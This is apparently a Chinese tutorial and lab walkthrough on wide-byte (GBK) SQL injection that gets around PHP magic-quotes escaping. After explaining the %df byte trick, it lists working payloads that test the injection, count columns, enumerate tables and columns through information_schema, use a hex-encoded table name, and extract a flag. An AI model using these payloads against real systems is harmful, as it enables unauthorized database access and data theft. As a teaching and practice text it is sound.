在PHP中有這樣一個函數:
magic_quotes_gpc
它的作用就是将你輸入的特殊字元前面統統加一個 \ 符号
如下圖前2句話

在看下面這條語句之前,我們首先需要知道。
\' 隻能和\'進行閉合
下面這個語句,顯然不能将 1 進行閉合。而是将 \ 當成了一個字元串。後面的單引号把後面的給後面的給閉合了。
不能閉合,就顯然不能進行SQL注入。這就是magic_quotes_gpc函數的作用了。
而遇到魔術引号這哥函數,我們有2種方法,下面就來介紹寬位元組注入
寬位元組注入原理
上面我們已經知道了魔術引号的作用了,是将特殊字元前加一個 \ 符号,這樣就不能閉合了。
而我們想要SQL注入的話,就必須閉合才能SQL注入。
前提條件:
資料庫必須是其他編碼,比如utf-8 , gbk ,不能是英語編碼(ascii)就行
然後我們知道 \ 的編碼為 5c 也就是一個字元,而gbk編碼是占2個字元,utf-8編碼是占3個字元,
這裡我們就以 gbk編碼來舉列子,5c加上另一個字元就可以組成一個漢字,比如 d55c 就可以組成一個繁體漢字“誠”
而我們這裡是URL傳參,是以是 %d5%5c
舉例
id=1%df' union select 1,2,3 — qwe
為了繞過轉義,成功閉合,隻是在前面有這一點不同,其餘都是以前的知識。
為了繞過轉義,成功閉合,隻是在前面有這一點不同,其餘都是以前的知識。
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
以下是練習,可以不用看
%df' and 1=1 -- + 回顯正常
%df' and 1=2 -- + 回顯錯誤
說明存在sql注入,而且是寬位元組注入
判斷字段數
%df' order by 3 -- + 回顯正常
%df' order by 4 -- + 回顯錯誤,那就說明有3個字段
判斷回顯位
%df' union select 1,2,3 -- +
從上面我們知道有2個回顯位
那麼現在就來判斷資料庫版本和目前資料庫
聯合查詢目前資料庫裡的表
這裡我就不過多介紹一些資料庫函數了,在顯錯注入(一)裡有介紹
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
聯合查詢表裡的字段
在這裡我們很明顯是為了拿flag,那麼就選第一個表,其他的表就不多測試了
因為這裡有魔術引号,是以不能寫特殊符号,是以下面這個是錯的,後面有特殊符号(單引号)
因為這裡有魔術引号,是以不能寫特殊符号,是以下面這個是錯的,後面有特殊符号(單引号)
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' -- +
第一種方法:那麼就不選表,全部輸出
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() -- +
第二種方法:如果硬要選擇表的話,那就是
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) -- +
第三種方法:因為資料庫認識16進制,那麼我們查詢出表之後,就把表的字元轉成16進制。
網站位址 https://www.bejson.com/convert/ox2str/
0x是16進制的辨別
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 -- +
聯合查詢表裡的字段
%df' union select 1,2,group_concat(C_Flag) from china_flag -- +
好了,成功拿到flag!